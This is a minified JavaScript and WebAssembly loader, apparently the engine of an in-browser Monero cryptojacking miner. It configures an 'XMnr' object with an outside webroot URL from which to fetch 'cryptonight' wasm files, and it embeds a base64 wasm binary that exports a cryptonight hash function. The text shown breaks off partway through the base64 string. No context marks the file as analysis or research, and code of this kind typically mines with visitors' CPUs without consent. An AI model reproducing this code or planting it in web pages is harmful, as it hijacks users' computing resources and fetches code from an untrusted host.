function intArrayToString(e) { | |
for (var r = [], t = 0; t < e.length; t++) { | |
var n = e[t]; | |
n > 255 && (n &= 255), r.push(String.fromCharCode(n)) | |
} | |
return r.join("") | |
} | |
function writeStringToMemory(e, r, t) { | |
Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!"); | |
var n, o; | |
t && (o = r + lengthBytesUTF8(e), n = HEAP8[o]), stringToUTF8(e, r, 1 / 0), t && (HEAP8[o] = n) | |
} | |
function writeArrayToMemory(e, r) { | |
HEAP8.set(e, r) | |
} | |
function writeAsciiToMemory(e, r, t) { | |
for (var n = 0; n < e.length; ++n) HEAP8[r++ >> 0] = e.charCodeAt(n); | |
t || (HEAP8[r >> 0] = 0) | |
} | |
function getUniqueRunDependency(e) { | |
return e | |
} | |
function addRunDependency(e) { | |
runDependencies++, Module.monitorRunDependencies && Module.monitorRunDependencies(runDependencies) | |
} | |
function removeRunDependency(e) { | |
if (runDependencies--, Module.monitorRunDependencies && Module.monitorRunDependencies(runDependencies), 0 == runDependencies && (null !== runDependencyWatcher && (clearInterval(runDependencyWatcher), runDependencyWatcher = null), dependenciesFulfilled)) { | |
var r = dependenciesFulfilled; | |
dependenciesFulfilled = null, r() | |
} | |
} | |
function integrateWasmJS(e) { | |
function r(e) { | |
return e | |
} | |
function t() { | |
return e.wasmBinary || "function" != typeof fetch ? new Promise(function(r, t) { | |
r(function() { | |
try { | |
var r; | |
if (e.wasmBinary) r = e.wasmBinary, r = new Uint8Array(r); | |
else { | |
if (!e.readBinary) throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)"; | |
r = e.readBinary(a) | |
} | |
return r | |
} catch (e) { | |
abort(e) | |
} | |
}()) | |
}) : fetch(a, { | |
credentials: "same-origin" | |
}).then(function(e) { | |
if (!e.ok) throw "failed to load wasm binary file at '" + a + "'"; | |
return e.arrayBuffer() | |
}) | |
} | |
function n(r, n, o) { | |
function i(r) { | |
(l = r.exports).memory && function(r) { | |
var t = e.buffer; | |
r.byteLength < t.byteLength && e.printErr("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here"); | |
var n = new Int8Array(t), | |
o = new Int8Array(r); | |
memoryInitializer || n.set(o.subarray(e.STATIC_BASE, e.STATIC_BASE + e.STATIC_BUMP), e.STATIC_BASE), o.set(n), updateGlobalBuffer(r), updateGlobalBufferViews() | |
}(l.memory), e.asm = l, e.usingWasm = !0, removeRunDependency("wasm-instantiate") | |
} | |
if ("object" != typeof WebAssembly) return e.printErr("no native wasm support detected"), !1; | |
if (!(e.wasmMemory instanceof WebAssembly.Memory)) return e.printErr("no native wasm Memory in use"), !1; | |
if (n.memory = e.wasmMemory, u.global = { | |
NaN: NaN, | |
Infinity: 1 / 0 | |
}, u["global.Math"] = r.Math, u.env = n, addRunDependency("wasm-instantiate"), e.instantiateWasm) try { | |
return e.instantiateWasm(u, i) | |
} catch (r) { | |
return e.printErr("Module.instantiateWasm callback failed with error: " + r), !1 | |
} | |
return t().then(function(e) { | |
return WebAssembly.instantiate(e, u) | |
}).then(function(e) { | |
i(e.instance) | |
}).catch(function(r) { | |
e.printErr("failed to asynchronously prepare wasm: " + r), abort(r) | |
}), {} | |
} | |
var o = e.wasmJSMethod || "native-wasm"; | |
e.wasmJSMethod = o; | |
var i = e.wasmTextFile || "cryptonight.wast", | |
a = e.wasmBinaryFile || "cryptonight.wasm", | |
s = e.asmjsCodeFile || "cryptonight.temp.asm.js"; | |
"function" == typeof e.locateFile && (i = e.locateFile(i), a = e.locateFile(a), s = e.locateFile(s)); | |
var u = { | |
global: null, | |
env: null, | |
asm2wasm: { | |
"f64-rem": function(e, r) { | |
return e % r | |
}, | |
"f64-to-int": function(e) { | |
return 0 | e | |
}, | |
"i32s-div": function(e, r) { | |
return (0 | e) / (0 | r) | 0 | |
}, | |
"i32u-div": function(e, r) { | |
return (e >>> 0) / (r >>> 0) >>> 0 | |
}, | |
"i32s-rem": function(e, r) { | |
return (0 | e) % (0 | r) | 0 | |
}, | |
"i32u-rem": function(e, r) { | |
return (e >>> 0) % (r >>> 0) >>> 0 | |
}, | |
debugger: function() {} | |
}, | |
parent: e | |
}, | |
l = null; | |
e.asmPreload = e.asm; | |
var c = e.reallocBuffer; | |
e.reallocBuffer = function(r) { | |
return "asmjs" === d ? c(r) : function(r) { | |
r = alignUp(r, e.usingWasm ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE); | |
var t = e.buffer, | |
n = t.byteLength; | |
if (!e.usingWasm) return l.__growWasmMemory((r - n) / 65536), e.buffer !== t ? e.buffer : null; | |
try { | |
return -1 !== e.wasmMemory.grow((r - n) / 65536) ? e.buffer = e.wasmMemory.buffer : null | |
} catch (e) { | |
return null | |
} | |
}(r) | |
}; | |
var d = ""; | |
e.asm = function(t, o, i) { | |
if (t = r(t), !(o = r(o)).table) { | |
var a = e.wasmTableSize; | |
void 0 === a && (a = 1024); | |
var s = e.wasmMaxTableSize; | |
"object" == typeof WebAssembly && "function" == typeof WebAssembly.Table ? o.table = void 0 !== s ? new WebAssembly.Table({ | |
initial: a, | |
maximum: s, | |
element: "anyfunc" | |
}) : new WebAssembly.Table({ | |
initial: a, | |
element: "anyfunc" | |
}) : o.table = new Array(a), e.wasmTable = o.table | |
} | |
o.memoryBase || (o.memoryBase = e.STATIC_BASE), o.tableBase || (o.tableBase = 0); | |
return n(t, o) | |
}; | |
e.asm | |
} | |
function ___assert_fail(e, r, t, n) { | |
throw ABORT = !0, "Assertion failed: " + Pointer_stringify(e) + ", at: " + [r ? Pointer_stringify(r) : "unknown filename", t, n ? Pointer_stringify(n) : "unknown function"] + " at " + stackTrace() | |
} | |
function ___setErrNo(e) { | |
return Module.___errno_location && (HEAP32[Module.___errno_location() >> 2] = e), e | |
} | |
function ___syscall20(e, r) { | |
SYSCALLS.varargs = r; | |
try { | |
return PROCINFO.pid | |
} catch (e) { | |
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno | |
} | |
} | |
function _gmtime_r(e, r) { | |
var t = new Date(1e3 * HEAP32[e >> 2]); | |
HEAP32[r >> 2] = t.getUTCSeconds(), HEAP32[r + 4 >> 2] = t.getUTCMinutes(), HEAP32[r + 8 >> 2] = t.getUTCHours(), HEAP32[r + 12 >> 2] = t.getUTCDate(), HEAP32[r + 16 >> 2] = t.getUTCMonth(), HEAP32[r + 20 >> 2] = t.getUTCFullYear() - 1900, HEAP32[r + 24 >> 2] = t.getUTCDay(), HEAP32[r + 36 >> 2] = 0, HEAP32[r + 32 >> 2] = 0; | |
var n = Date.UTC(t.getUTCFullYear(), 0, 1, 0, 0, 0, 0), | |
o = (t.getTime() - n) / 864e5 | 0; | |
return HEAP32[r + 28 >> 2] = o, HEAP32[r + 40 >> 2] = ___tm_timezone, r | |
} | |
function _gmtime(e) { | |
return _gmtime_r(e, ___tm_current) | |
} | |
function ___lock() {} | |
function ___unlock() {} | |
function ___syscall6(e, r) { | |
SYSCALLS.varargs = r; | |
try { | |
var t = SYSCALLS.getStreamFromFD(); | |
return FS.close(t), 0 | |
} catch (e) { | |
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno | |
} | |
} | |
function _emscripten_memcpy_big(e, r, t) { | |
return HEAPU8.set(HEAPU8.subarray(r, r + t), e), e | |
} | |
function _ftime(e) { | |
var r = Date.now(); | |
return HEAP32[e >> 2] = r / 1e3 | 0, HEAP16[e + 4 >> 1] = r % 1e3, HEAP16[e + 6 >> 1] = 0, HEAP16[e + 8 >> 1] = 0, 0 | |
} | |
function ___syscall140(e, r) { | |
SYSCALLS.varargs = r; | |
try { | |
var t = SYSCALLS.getStreamFromFD(), | |
n = (SYSCALLS.get(), SYSCALLS.get()), | |
o = SYSCALLS.get(), | |
i = SYSCALLS.get(), | |
a = n; | |
return FS.llseek(t, a, i), HEAP32[o >> 2] = t.position, t.getdents && 0 === a && 0 === i && (t.getdents = null), 0 | |
} catch (e) { | |
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno | |
} | |
} | |
function ___syscall146(e, r) { | |
SYSCALLS.varargs = r; | |
try { | |
var t = SYSCALLS.getStreamFromFD(), | |
n = SYSCALLS.get(), | |
o = SYSCALLS.get(); | |
return SYSCALLS.doWritev(t, n, o) | |
} catch (e) { | |
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno | |
} | |
} | |
function ___syscall54(e, r) { | |
SYSCALLS.varargs = r; | |
try { | |
var t = SYSCALLS.getStreamFromFD(), | |
n = SYSCALLS.get(); | |
switch (n) { | |
case 21505: | |
case 21506: | |
return t.tty ? 0 : -ERRNO_CODES.ENOTTY; | |
case 21519: | |
if (!t.tty) return -ERRNO_CODES.ENOTTY; | |
var o = SYSCALLS.get(); | |
return HEAP32[o >> 2] = 0, 0; | |
case 21520: | |
return t.tty ? -ERRNO_CODES.EINVAL : -ERRNO_CODES.ENOTTY; | |
case 21531: | |
o = SYSCALLS.get(); | |
return FS.ioctl(t, n, o); | |
case 21523: | |
return t.tty ? 0 : -ERRNO_CODES.ENOTTY; | |
default: | |
abort("bad ioctl syscall " + n) | |
} | |
} catch (e) { | |
return void 0 !== FS && e instanceof FS.ErrnoError || abort(e), -e.errno | |
} | |
} | |
function invoke_ii(e, r) { | |
try { | |
return Module.dynCall_ii(e, r) | |
} catch (e) { | |
if ("number" != typeof e && "longjmp" !== e) throw e; | |
Module.setThrew(1, 0) | |
} | |
} | |
function invoke_iiii(e, r, t, n) { | |
try { | |
return Module.dynCall_iiii(e, r, t, n) | |
} catch (e) { | |
if ("number" != typeof e && "longjmp" !== e) throw e; | |
Module.setThrew(1, 0) | |
} | |
} | |
function invoke_viii(e, r, t, n) { | |
try { | |
Module.dynCall_viii(e, r, t, n) | |
} catch (e) { | |
if ("number" != typeof e && "longjmp" !== e) throw e; | |
Module.setThrew(1, 0) | |
} | |
} | |
self.XMnr = self.XMnr || {}, self.XMnr.CONFIG = { | |
WEBROOT_URL: "https://devappgrant.space/lib/" | |
}; | |
var Module = { | |
locateFile: function(e) { | |
return XMnr.CONFIG.WEBROOT_URL + e | |
} | |
}; | |
Module.wasmBinary = function(e) { | |
for (var r = atob("AGFzbQEAAAABUw5gA39/fwBgA39/fwF/YAF/AX9gAX8AYAABf2ACf38Bf2AEf39/fwBgAn9/AGADf39+AGADf35/AGAEf39+fwF/YAR/f39/AX9gA35+fwF+YAAAAqsDFwNlbnYORFlOQU1JQ1RPUF9QVFIDfwADZW52CFNUQUNLVE9QA38AA2VudglTVEFDS19NQVgDfwADZW52BWFib3J0AAMDZW52DWVubGFyZ2VNZW1vcnkABANlbnYOZ2V0VG90YWxNZW1vcnkABANlbnYXYWJvcnRPbkNhbm5vdEdyb3dNZW1vcnkABANlbnYHX2dtdGltZQACA2VudgdfX19sb2NrAAMDZW52C19fX3N5c2NhbGw2AAUDZW52C19fX3NldEVyck5vAAMDZW52CV9fX3VubG9jawADA2VudgZfZnRpbWUAAgNlbnYWX2Vtc2NyaXB0ZW5fbWVtY3B5X2JpZwABA2VudgxfX19zeXNjYWxsNTQABQNlbnYNX19fc3lzY2FsbDE0MAAFA2VudgxfX19zeXNjYWxsMjAABQNlbnYOX19fYXNzZXJ0X2ZhaWwABgNlbnYNX19fc3lzY2FsbDE0NgAFA2VudgZtZW1vcnkCAYACgAIDZW52BXRhYmxlAXABDg4DZW52Cm1lbW9yeUJhc2UDfwADZW52CXRhYmxlQmFzZQN/AAM+PQIEAwcHAwQABAMGAAAAAAcHCAYICQAAAAoDBwALBgYGAwEEAQIMAgMFAgEBAgQBBAICDQECAQEFCwYCAQAGHwZ/ASMAC38BIwELfwEjAgt/AUEAC38BQQALfwFBAAsH1QIXCXN0YWNrU2F2ZQAREV9jcnlwdG9uaWdodF9oYXNoABoIc2V0VGhyZXcAFAxkeW5DYWxsX3ZpaWkASQdfZmZsdXNoAEAHX21lbXNldABDBV9zYnJrAEQTX2NyeXB0b25pZ2h0X2NyZWF0ZQAYB19tZW1jcHkARQpzdGFja0FsbG9jABALZ2V0VGVtcFJldDAAFgtzZXRUZW1wUmV0MAAVDGR5bkNhbGxfaWlpaQBIG19lbXNjcmlwdGVuX2dldF9nbG9iYWxfbGliYwA/CmR5bkNhbGxfaWkARxRfY3J5cHRvbmlnaHRfZGVzdHJveQAZEV9fX2Vycm5vX2xvY2F0aW9uAD0FX2ZyZWUANwtydW5Qb3N0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